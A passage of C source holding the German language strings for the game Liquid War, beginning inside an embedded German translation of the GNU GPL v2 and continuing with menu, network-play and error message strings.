basieren oder unter seiner auszugsweisen Verwendung zusammengestellt worden sind, auszuueben.\n\nFerner bringt auch das einfache Zusammenlegen eines anderen Datenwerkes, das nicht auf dem Programm basiert, mit dem Programm oder einem auf dem Programm basierenden Datenwerk auf ein- und demselben Speicher- oder Vertriebsmedium dieses andere Datenwerk nicht in den Anwendungsbereich dieser Lizenz.\n\n3. Sie duerfen das Programm (oder ein darauf basierendes Datenwerk gemaess Paragraph 2) als Objectcode oder in ausfuehrbarer Form unter den Bedingungen der Paragraphen 1 und 2 kopieren und weitergeben - vorausgesetzt, dass Sie ausserdem eine der folgenden Leistungen erbringen:\n\n1.\nLiefern Sie das Programm zusammen mit dem vollstaendigen zugehoerigen maschinenlesbaren Quelltext auf einem fuer den Datenaustausch ueblichen Medium aus, wobei die Verteilung unter den Bedingungen der Paragraphen 1 und 2 erfolgen muss. Oder:\n2.\nLiefern Sie das Programm " "zusammen mit einem mindestens drei Jahre lang gueltigen schriftlichen Angebot aus, jedem Dritten eine vollstaendige maschinenlesbare Kopie des Quelltextes zur Verfuegung zu stellen - zu nicht hoeheren Kosten als denen, die durch den physikalischen Kopiervorgang anfallen -, wobei der Quelltext unter den Bedingungen der Paragraphen 1 und 2 auf einem fuer den Datenaustausch ueblichen Medium weitergegeben wird. Oder:\n3.\nLiefern Sie das Programm zusammen mit dem schriftlichen Angebot der Zurverfuegungstellung des Quelltextes aus, das Sie selbst erhalten haben. (Diese Alternative ist nur fuer nicht-kommerzielle Verbreitung zulaessig und nur, wenn Sie das Programm als Objectcode oder in ausfuehrbarer Form mit einem entsprechenden Angebot gemaess Absatz b erhalten haben.)\n\nUnter dem Quelltext eines Datenwerkes wird diejenige Form des Datenwerkes verstanden, die fuer Bearbeitungen vorzugsweise verwendet wird. Fuer ein ausfuehrbares Programm bedeutet ,,der komplette Quelltext``: " "Der Quelltext aller im Programm enthaltenen Module einschliesslich aller zugehoerigen Modulschnittstellen-Definitionsdateien sowie der zur Compilation und Installation verwendeten Skripte. Als besondere Ausnahme jedoch braucht der verteilte Quelltext nichts von dem zu enthalten, was ueblicherweise (entweder als Quelltext oder in binaerer Form) zusammen mit den Hauptkomponenten des Betriebssystems (Kernel, Compiler usw.) geliefert wird, unter dem das Programm laeuft - es sei denn, diese Komponente selbst gehoert zum ausfuehrbaren Programm.\n\nWenn die Verbreitung eines ausfuehrbaren Programms oder von Objectcode dadurch erfolgt, dass der Kopierzugriff auf eine dafuer vorgesehene Stelle gewaehrt wird, so gilt die Gewaehrung eines gleichwertigen Zugriffs auf den Quelltext als Verbreitung des Quelltextes, auch wenn Dritte nicht dazu gezwungen sind, den Quelltext zusammen mit dem Objectcode zu kopieren.\n\n4. Sie duerfen das Programm nicht vervielfaeltigen, veraendern, weiter lizenzieren oder verbreiten, " "sofern es nicht durch diese Lizenz ausdruecklich gestattet ist. Jeder anderweitige Versuch der Vervielfaeltigung, Modifizierung, Weiterlizenzierung und Verbreitung ist nichtig und beendet automatisch Ihre Rechte unter dieser Lizenz. Jedoch werden die Lizenzen Dritter, die von Ihnen Kopien oder Rechte unter dieser Lizenz erhalten haben, nicht beendet, solange diese die Lizenz voll anerkennen und befolgen.\n\n5. Sie sind nicht verpflichtet, diese Lizenz anzunehmen, da Sie sie nicht unterzeichnet haben. Jedoch gibt Ihnen nichts anderes die Erlaubnis, das Programm oder von ihm abgeleitete Datenwerke zu veraendern oder zu verbreiten. Diese Handlungen sind gesetzlich verboten, wenn Sie diese Lizenz nicht anerkennen. Indem Sie das Programm (oder ein darauf basierendes Datenwerk) veraendern oder verbreiten, erklaeren Sie Ihr Einverstaendnis mit dieser Lizenz und mit allen ihren Bedingungen bezueglich der Vervielfaeltigung, Verbreitung und Veraenderung des Programms " "oder eines darauf basierenden Datenwerks.\n\n6. Jedesmal, wenn Sie das Programm (oder ein auf dem Programm basierendes Datenwerk) weitergeben, erhaelt der Empfaenger automatisch vom urspruenglichen Lizenzgeber die Lizenz, das Programm entsprechend den hier festgelegten Bestimmungen zu vervielfaeltigen, zu verbreiten und zu veraendern. Sie duerfen keine weiteren Einschraenkungen der Durchsetzung der hierin zugestandenen Rechte des Empfaengers vornehmen. Sie sind nicht dafuer verantwortlich, die Einhaltung dieser Lizenz durch Dritte durchzusetzen.\n\n7. Sollten Ihnen infolge eines Gerichtsurteils, des Vorwurfs einer Patentverletzung oder aus einem anderen Grunde (nicht auf Patentfragen begrenzt) Bedingungen (durch Gerichtsbeschluss, Vergleich oder anderweitig) auferlegt werden, die den Bedingungen dieser Lizenz widersprechen, so befreien Sie diese Umstaende nicht von den Bestimmungen dieser Lizenz. Wenn es Ihnen nicht moeglich ist, " "das Programm unter gleichzeitiger Beachtung der Bedingungen in dieser Lizenz und Ihrer anderweitigen Verpflichtungen zu verbreiten, dann duerfen Sie als Folge das Programm ueberhaupt nicht verbreiten. Wenn zum Beispiel ein Patent nicht die gebuehrenfreie Weiterverbreitung des Programms durch diejenigen erlaubt, die das Programm direkt oder indirekt von Ihnen erhalten haben, dann besteht der einzige Weg, sowohl das Patentrecht als auch diese Lizenz zu befolgen, darin, ganz auf die Verbreitung des Programms zu verzichten.\n\nSollte sich ein Teil dieses Paragraphen als ungueltig oder unter bestimmten Umstaenden nicht durchsetzbar erweisen, so soll dieser Paragraph seinem Sinne nach angewandt werden; im uebrigen soll dieser Paragraph als Ganzes gelten.\n\nZweck dieses Paragraphen ist nicht, Sie dazu zu bringen, irgendwelche Patente oder andere Eigentumsansprueche zu verletzen oder die Gueltigkeit solcher Ansprueche zu bestreiten; dieser Paragraph hat einzig den Zweck, " "die Integritaet des Verbreitungssystems der freien Software zu schuetzen, das durch die Praxis oeffentlicher Lizenzen verwirklicht wird. Viele Leute haben grosszuegige Beitraege zu dem grossen Angebot der mit diesem System verbreiteten Software im Vertrauen auf die konsistente Anwendung dieses Systems geleistet; es liegt am Autor/Geber, zu entscheiden, ob er die Software mittels irgendeines anderen Systems verbreiten will; ein Lizenznehmer hat auf diese Entscheidung keinen Einfluss.\n\nDieser Paragraph ist dazu gedacht, deutlich klarzustellen, was als Konsequenz aus dem Rest dieser Lizenz betrachtet wird.\n\n8. Wenn die Verbreitung und/oder die Benutzung des Programms in bestimmten Staaten entweder durch Patente oder durch urheberrechtlich geschuetzte Schnittstellen eingeschraenkt ist, kann der Urheberrechtsinhaber, der das Programm unter diese Lizenz gestellt hat, eine explizite geographische Begrenzung der Verbreitung angeben, in der diese Staaten ausgeschlossen werden, " "so dass die Verbreitung nur innerhalb und zwischen den Staaten erlaubt ist, die nicht ausgeschlossen sind. In einem solchen Fall beinhaltet diese Lizenz die Beschraenkung, als waere sie in diesem Text niedergeschrieben.\n\n9. Die Free Software Foundation kann von Zeit zu Zeit ueberarbeitete und/oder neue Versionen der General Public License veroeffentlichen. Solche neuen Versionen werden vom Grundprinzip her der gegenwaertigen entsprechen, koennen aber im Detail abweichen, um neuen Problemen und Anforderungen gerecht zu werden.\n\nJede Version dieser Lizenz hat eine eindeutige Versionsnummer. Wenn in einem Programm angegeben wird, dass es dieser Lizenz in einer bestimmten Versionsnummer oder ,,jeder spaeteren Version`` (``any later version'') unterliegt, so haben Sie die Wahl, entweder den Bestimmungen der genannten Version zu folgen oder denen jeder beliebigen spaeteren Version, die von der Free Software Foundation veroeffentlicht wurde. Wenn das Programm keine Versionsnummer angibt, " "koennen Sie eine beliebige Version waehlen, die je von der Free Software Foundation veroeffentlicht wurde.\n\n10. Wenn Sie den Wunsch haben, Teile des Programms in anderen freien Programmen zu verwenden, deren Bedingungen fuer die Verbreitung anders sind, schreiben Sie an den Autor, um ihn um die Erlaubnis zu bitten. Fuer Software, die unter dem Copyright der Free Software Foundation steht, schreiben Sie an die Free Software Foundation ; wir machen zu diesem Zweck gelegentlich Ausnahmen. Unsere Entscheidung wird von den beiden Zielen geleitet werden, zum einen den freien Status aller von unserer freien Software abgeleiteten Datenwerke zu erhalten und zum anderen das gemeinschaftliche Nutzen und Wiederverwenden von Software im allgemeinen zu foerdern.\n\nKeine Gewaehrleistung\n\n11. Da das Programm ohne jegliche Kosten lizenziert wird, besteht keinerlei Gewaehrleistung fuer das Programm, soweit dies gesetzlich zulaessig ist. Sofern nicht anderweitig schriftlich bestaetigt, " "stellen die Copyright-Inhaber und/oder Dritte das Programm so zur Verfuegung, ,,wie es ist``, ohne irgendeine Gewaehrleistung, weder ausdruecklich noch implizit, einschliesslich - aber nicht begrenzt auf - Marktreife oder Verwendbarkeit fuer einen bestimmten Zweck. Das volle Risiko bezueglich Qualitaet und Leistungsfaehigkeit des Programms liegt bei Ihnen. Sollte sich das Programm als fehlerhaft herausstellen, liegen die Kosten fuer notwendigen Service, Reparatur oder Korrektur bei Ihnen.\n\n12. In keinem Fall, ausser wenn durch geltendes Recht gefordert oder schriftlich zugesichert, ist irgendein Copyright-Inhaber oder irgendein Dritter, der das Programm wie oben erlaubt modifiziert oder verbreitet hat, Ihnen gegenueber fuer irgendwelche Schaeden haftbar, einschliesslich jeglicher allgemeiner oder spezieller Schaeden, Schaeden durch Seiteneffekte (Nebenwirkungen) oder Folgeschaeden, die aus der Benutzung des Programms oder der Unbenutzbarkeit des Programms folgen " "(einschliesslich - aber nicht beschraenkt auf - Datenverluste, fehlerhafte Verarbeitung von Daten, Verluste, die von Ihnen oder anderen getragen werden muessen, oder dem Unvermoegen des Programms, mit irgendeinem anderen Programm zusammenzuarbeiten), selbst wenn ein Copyright-Inhaber oder Dritter ueber die Moeglichkeit solcher Schaeden unterrichtet worden war.\n\nEnde der Bedingungen\n\nAnhang: Wie Sie diese Bedingungen auf Ihre eigenen,\nneuen Programme anwenden koennen\n\nWenn Sie ein neues Programm entwickeln und wollen, dass es vom groesstmoeglichen Nutzen fuer die Allgemeinheit ist, dann erreichen Sie das am besten, indem Sie es zu freier Software machen, die jeder unter diesen Bestimmungen weiterverbreiten und veraendern kann.\n\nUm dies zu erreichen, fuegen Sie die folgenden Vermerke zu Ihrem Programm hinzu. Am sichersten ist es, sie an den Anfang einer jeden Quelldatei zu stellen, um den Gewaehrleistungsausschluss moeglichst deutlich darzustellen; " "zumindest aber sollte jede Datei eine Copyright-Zeile besitzen sowie einen kurzen Hinweis darauf, wo die vollstaendigen Vermerke zu finden sind.\n\n[eine Zeile mit dem Programmnamen und einer kurzen Beschreibung]\nCopyright (C) [Jahr] [Name des Autors]\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.\n\nAuf Deutsch:\n\n[eine Zeile mit dem Programmnamen " "und einer kurzen Beschreibung]\nCopyright (C) [Jahr] [Name des Autors]\n\nDieses Programm ist freie Software. Sie koennen es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veroeffentlicht, weitergeben und/oder modifizieren, entweder gemaess Version 2 der Lizenz oder (nach Ihrer Option) jeder spaeteren Version.\n\nDie Veroeffentlichung dieses Programms erfolgt in der Hoffnung, dass es Ihnen von Nutzen sein wird, aber OHNE IRGENDEINE GARANTIE, sogar ohne die implizite Garantie der MARKTREIFE oder der VERWENDBARKEIT FUER EINEN BESTIMMTEN ZWECK. Details finden Sie in der GNU General Public License.\n\nSie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben. Falls nicht, schreiben Sie an die Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.\n\nFuegen Sie auch einen kurzen Hinweis hinzu, wie Sie elektronisch und per Brief erreichbar sind.\n\nWenn Ihr Programm interaktiv ist, " "sorgen Sie dafuer, dass es nach dem Start einen kurzen Vermerk ausgibt:\n\nversion 69, Copyright (C) [Jahr] [Name des Autors] Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details.\n\nAuf Deutsch:\n\nVersion 69, Copyright (C) [Jahr] [Name des Autors] Fuer Gnomovision besteht KEINERLEI GARANTIE; geben Sie `show w' fuer Details ein. Gnonovision ist freie Software, die Sie unter bestimmten Bedingungen weitergeben duerfen; geben Sie `show c' fuer Details ein.\n\nDie hypothetischen Kommandos `show w' und `show c' sollten die entsprechenden Teile der GNU-GPL anzeigen. Natuerlich koennen die von Ihnen verwendeten Kommandos anders heissen als `show w' und `show c'; es koennten auch Mausklicks oder Menuepunkte sein - was immer am besten in Ihr Programm passt.\n\nSoweit vorhanden, sollten Sie auch Ihren Arbeitgeber (wenn Sie als Programmierer arbeiten) " "oder Ihre Schule einen Copyright-Verzicht fuer das Programm unterschreiben lassen. Hier ein Beispiel. Die Namen muessen Sie natuerlich aendern.\n\nYoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n[Unterschrift von Ty Coon], 1 April 1989\nTy Coon, President of Vice\n\nAuf Deutsch:\n\nDie Yoyodyne GmbH erhebt keinen urheberrechtlichen Anspruch auf das von James Hacker geschriebene Programm ,Gnomovision` (einem Schrittmacher fuer Compiler).\n\n[Unterschrift von Ty Coon], 1. April 1989\nTy Coon, Vizepraesident\n\nDiese General Public License gestattet nicht die Einbindung des Programms in proprietaere Programme. Ist Ihr Programm eine Funktionsbibliothek, so kann es sinnvoller sein, das Binden proprietaerer Programme mit dieser Bibliothek zu gestatten. Wenn Sie dies tun wollen, sollten Sie die GNU Library General Public License anstelle dieser Lizenz verwenden."; LW_LANGDE_DATA[LW_LANG_STRING_HELP_VERSION] = "Liquid War von U-Foot\n\nv" LW_VERSION " \n\ncompiled am " __DATE__ " um " __TIME__ "\n\nWeitere Informationen auf www.ufoot.org/liquidwar/v5\n"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_PLAY] = "Spielen"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_NETGAME] = "Netzwerk"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_MAP] = "Karte"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_TEAMS] = "Teams"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_OPTIONS] = "Optionen"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_ABOUT] = "Informationen"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_EXIT] = "Quit"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_EXITDOS] = "Exit"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_EXITWINDOWS] = "Quit"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_EXITUNIX] = "Quit"; LW_LANGDE_DATA[LW_LANG_STRING_MENU_BACK] = "Zurueck zu LW"; LW_LANGDE_DATA[LW_LANG_STRING_DIALOG_QUIT] = "Quit"; LW_LANGDE_DATA[LW_LANG_STRING_DIALOG_BACK] = "Zurueck"; LW_LANGDE_DATA[LW_LANG_STRING_DIALOG_PLAY] = "Spielen"; LW_LANGDE_DATA[LW_LANG_STRING_DIALOG_MAIN] = "Menue"; LW_LANGDE_DATA[LW_LANG_STRING_PLAY_GETREADY] = "Macht euch bereit!"; LW_LANGDE_DATA[LW_LANG_STRING_NETGAME_STARTGAME] = "Starten"; LW_LANGDE_DATA[LW_LANG_STRING_NETGAME_SERVERADDR] = "Server Addr."; LW_LANGDE_DATA[LW_LANG_STRING_NETGAME_SERVERPORT] = "Server Port"; LW_LANGDE_DATA[LW_LANG_STRING_NETGAME_SEARCH] = "Suche Internetspiele"; LW_LANGDE_DATA[LW_LANG_STRING_NETGAME_PASSWORD] = "Password"; LW_LANGDE_DATA[LW_LANG_STRING_NETGAME_WEAKPASSWORD] = "*) Achtung! Waehle ein schwaches Wort wie \"hallo\", welches auf deiner Festplatte gespecihert ist und sende es zum Server.."; LW_LANGDE_DATA[LW_LANG_STRING_LANGUAGE_AUTO] = "Automatisch"; LW_LANGDE_DATA[LW_LANG_STRING_TEAM_OFF] = "Inaktiv"; LW_LANGDE_DATA[LW_LANG_STRING_TEAM_HUMAN] = "Mensch"; LW_LANGDE_DATA[LW_LANG_STRING_TEAM_CPU] = "CPU"; LW_LANGDE_DATA[LW_LANG_STRING_OPTIONS_GRAPHICS] = "Grafik"; LW_LANGDE_DATA[LW_LANG_STRING_OPTIONS_SOUND] = "Sound"; LW_LANGDE_DATA[LW_LANG_STRING_OPTIONS_RULES] = "Regeln"; LW_LANGDE_DATA[LW_LANG_STRING_OPTIONS_SPEEDS] = "Geschwindigkeit"; LW_LANGDE_DATA[LW_LANG_STRING_OPTIONS_CONTROLS] = "Steuerung"; LW_LANGDE_DATA[LW_LANG_STRING_OPTIONS_LANGUAGE] = "Sprache"; LW_LANGDE_DATA[LW_LANG_STRING_OPTIONS_DEFAULT] = "Standard"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_GAME] = "Spiel"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_MENU] = "Menue"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_ON] = "Ja"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_OFF] = "Nein"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_FULLSCREEN] = "Vollbild"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_WINDOWED] = "Fenster"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_ADVANCED] = "erw. Optionen"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_VIDEOMODE] = "Videomodus"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_BRIGHTNESS] = "Brightness"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_VIEWPORTSIZE] = "Portgroesse"; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_PAGEFLIPPING] = "\"Page flipping\""; LW_LANGDE_DATA[LW_LANG_STRING_GRAPHICS_WAVES] = "Wellen (F4)"; LW_LANGDE_DATA[LW_LANG_STRING_VOLUME_SFX] = "FX Sound"; LW_LANGDE_DATA[LW_LANG_STRING_VOLUME_CLICK] = "Click"; LW_LANGDE_DATA[LW_LANG_STRING_VOLUME_GAMEWATER] = "Spielwasser"; LW_LANGDE_DATA[LW_LANG_STRING_VOLUME_MENUWATER] = "Wassermenue"; LW_LANGDE_DATA[LW_LANG_STRING_VOLUME_MUSIC] = "Musik"; LW_LANGDE_DATA[LW_LANG_STRING_RULES_TIME] = "Zeit"; LW_LANGDE_DATA[LW_LANG_STRING_RULES_ADVANCED] = "erw. Optionen"; LW_LANGDE_DATA[LW_LANG_STRING_RULES_ARMYSIZE] = "Armeegroesse"; LW_LANGDE_DATA[LW_LANG_STRING_RULES_CURSOR] = "Cursor"; LW_LANGDE_DATA[LW_LANG_STRING_RULES_DEFAULT] = "Standard"; LW_LANGDE_DATA[LW_LANG_STRING_RULES_MINMAPRES] = "Min "; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_ATTACK] = "Angriff"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_DEFENSE] = "Abwehr"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_BASEHEALTH] = "Gesundheit"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_WINNERHELP] = "Siegerhilfe"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_CPUSTRENGTH] = "CPU Staerke"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_CPUVSHUMAN] = "CPU vs Mensch"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_ALWAYS] = "Immer"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_RANDOM] = "Normal"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_NEVER] = "Nie"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_ASMALGORITHM] = "Algorithmus"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_ASSEMBLY] = "Assembly"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_STANDARDC] = "C-Standard"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_ALLOWNETWORKBOTS] = "Netzbots"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_YES] = "An"; LW_LANGDE_DATA[LW_LANG_STRING_ADVANCED_NO] = "Aus"; LW_LANGDE_DATA[LW_LANG_STRING_SPEEDS_FPS] = "frames/s"; LW_LANGDE_DATA[LW_LANG_STRING_SPEEDS_NOFPSLIMIT] = "Kein FPS Limit"; LW_LANGDE_DATA[LW_LANG_STRING_SPEEDS_RPS] = "Runden/s"; LW_LANGDE_DATA[LW_LANG_STRING_SPEEDS_NORPSLIMIT] = "Kein Rundenlimit"; LW_LANGDE_DATA[LW_LANG_STRING_CONTROLS_JOYSTICK] = "Joystick"; LW_LANGDE_DATA[LW_LANG_STRING_CONTROLS_OFF] = "Aus"; LW_LANGDE_DATA[LW_LANG_STRING_CONTROLS_2JOYSTICKS] = "2 Joysticks"; LW_LANGDE_DATA[LW_LANG_STRING_CONTROLS_4BUTTONS] = "4 Tasten"; LW_LANGDE_DATA[LW_LANG_STRING_CONTROLS_STANDARD] = "Standard"; LW_LANGDE_DATA[LW_LANG_STRING_CONTROLS_MOUSESENSIB] = "Maussensibilitaet"; LW_LANGDE_DATA[LW_LANG_STRING_ABOUT_CREDITS] = "\"Credits\""; LW_LANGDE_DATA[LW_LANG_STRING_ABOUT_COPYRIGHT] = "Copyright"; LW_LANGDE_DATA[LW_LANG_STRING_ABOUT_LICENSE] = "Lizenz"; LW_LANGDE_DATA[LW_LANG_STRING_ABOUT_VERSION] = "Version"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_REFRESH] = "Refresh"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_JOINNOW] = "Jetzt teilnehmen"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_PORT] = "Port"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_PASSWORD] = "Passwort"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_YES] = "Ja"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_NO] = "Nein"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_UPTIME] = "Alter"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_DAYS] = "d"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_DAY] = "d"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_HOURS] = "h"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_MINUTES] = "min"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_SECONDS] = "sec"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_UNREACHABLE] = "Zu weit / tot"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_PING] = "Ping"; LW_LANGDE_DATA[LW_LANG_STRING_INTERNET_MSEC] = "ms"; LW_LANGDE_DATA[LW_LANG_STRING_WAVE_AMPLI] = "Wellen"; LW_LANGDE_DATA[LW_LANG_STRING_WAVE_NUMBER] = "Nummer"; LW_LANGDE_DATA[LW_LANG_STRING_WAVE_SPEED] = "Speed"; LW_LANGDE_DATA[LW_LANG_STRING_WAVE_WX] = "WX"; LW_LANGDE_DATA[LW_LANG_STRING_WAVE_HY] = "HY"; LW_LANGDE_DATA[LW_LANG_STRING_WAVE_WY] = "WY"; LW_LANGDE_DATA[LW_LANG_STRING_WAVE_HX] = "HX"; LW_LANGDE_DATA[LW_LANG_STRING_CONNECT_STARTNOW] = "Starten"; LW_LANGDE_DATA[LW_LANG_STRING_CONNECT_WAITING] = "Warte..."; LW_LANGDE_DATA[LW_LANG_STRING_CONNECT_WAITINGFOR] = "Warte auf "; LW_LANGDE_DATA[LW_LANG_STRING_CONNECT_TEAMS] = " Team(s)"; LW_LANGDE_DATA[LW_LANG_STRING_CONNECT_SENDMESSAGE] = "Nachricht schreiben"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_CONNECT] = "Verbinden"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_PING] = "\"Ping\""; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_CHECKPROGRAM] = "Programmcheck"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_CHECKVERSION] = "Versionscheck"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_SENDPASSWORD] = "Password"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_FREETEAMS] = "Freie Teams?"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_RESERVETEAMS] = "Reservierung"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_SENDCONFIG] = "Sende Konfig"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_SENDMAP] = "Sende Karte"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_WAITING] = "Warte..."; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_WHOPLAYS] = "Wer spielt?"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_RECVCONFIG] = "Empfange Konfig"; LW_LANGDE_DATA[LW_LANG_STRING_NETPLAY_RECVMAP] = "Empfange Karte"; LW_LANGDE_DATA[LW_LANG_STRING_LEVEL_USEDEFAULTTEXTURE] = "Benutze Standardtextur"; LW_LANGDE_DATA[LW_LANG_STRING_LEVEL_ON] = "An"; LW_LANGDE_DATA[LW_LANG_STRING_LEVEL_OFF] = "Aus"; LW_LANGDE_DATA[LW_LANG_STRING_LEVEL_RANDOMMAP] = "Zufallskarte"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_FPS] = "FP/s "; LW_LANGDE_DATA[LW_LANG_STRING_CODE_RPS] = "Runden/s "; LW_LANGDE_DATA[LW_LANG_STRING_CODE_PERCENTCALC] = "% calcul "; LW_LANGDE_DATA[LW_LANG_STRING_CODE_PERCENTDISPLAY] = "% rechne "; LW_LANGDE_DATA[LW_LANG_STRING_CODE_SPREADGRADTIME] = "Spread gate time "; LW_LANGDE_DATA[LW_LANG_STRING_CODE_MOVEARMYTIME] = "Bewegungszeit"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_DISPLAYTIME] = "Zeitanzeige "; LW_LANGDE_DATA[LW_LANG_STRING_CODE_FLIPTIME] = "Fliptime"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_OTHERCALCTIME] = "Andere Zeit "; LW_LANGDE_DATA[LW_LANG_STRING_CODE_GLOBALTIME] = "Gesamtzeit "; LW_LANGDE_DATA[LW_LANG_STRING_CODE_STANDARDDISPLAY] = "Standardanzeige"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_GRADIENT1] = "Gradient 1"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_GRADIENT2] = "Gradient 2"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_GRADIENT3] = "Gradient 3"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_GRADIENT4] = "Gradient 4"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_GRADIENT5] = "Gradient 5"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_GRADIENT6] = "Gradient 6"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_MESHSIZE] = "Meshgroesse"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_MESHSTRUCTURE] = "Meshaufbau"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_PAUSEOFF] = "Pause aus"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_PAUSEON] = "Pause"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSOFF] = "Wellen aus"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_WAVEEFFECTSON] = "Wellen an"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_CAPTUREOFF] = "Fangvideo aus"; LW_LANGDE_DATA[LW_LANG_STRING_CODE_CAPTUREON] = "Fangvideo an"; LW_LANGDE_DATA[LW_LANG_STRING_SCORE_WINNER] = "Spitze!"; LW_LANGDE_DATA[LW_LANG_STRING_GAME_BACKMEMFAIL] = "Keine Einheiten ueberlebten"; LW_LANGDE_DATA[LW_LANG_STRING_GAME_DISPMEMFAIL] = "Kein Meshniederlage"; LW_LANGDE_DATA[LW_LANG_STRING_GAME_MESHMEMFAIL] = "Meshniederlage"; LW_LANGDE_DATA[LW_LANG_STRING_GAME_AREAMEMFAIL] = "Kein Gebiet mehr"; LW_LANGDE_DATA[LW_LANG_STRING_GAME_ARMYMEMFAIL] = "Keine Armee mehr"; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_NOTENOUGHTEAMS] = "Zu wenig Teams vorhanden. Es muessen mindestens 2 Teams da sein."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_NOTENOUGHBIGDATA] = "Nicht genug Speicher vorhanden."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_GRAPHICSINITFAILED] = "Graphikmodus kann nicht gestartet werden."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_NONETWORKSUPPORT] = "Keine Unterstuetzung fuer Netzwerk auf ihrem PC vorhanden."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_UNABLETOCONNECT] = "Verbindung nicht moeglich.\nMoeglicherweise sind ihre Einstellungen nicht korrekt oder sie benutzen eine Firewall, die den Datenverkehr blockiert."; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_NOTALIQUIDWARSERVER] = "Keine Kommunikation mit dem Server moeglich\nWahrscheinlich ist der server kein LiquidWar Server"; LW_LANGDE_DATA[LW_LANG_STRING_ERROR_WRONGVERSION] = "Falsche Programmversion.\nServer und 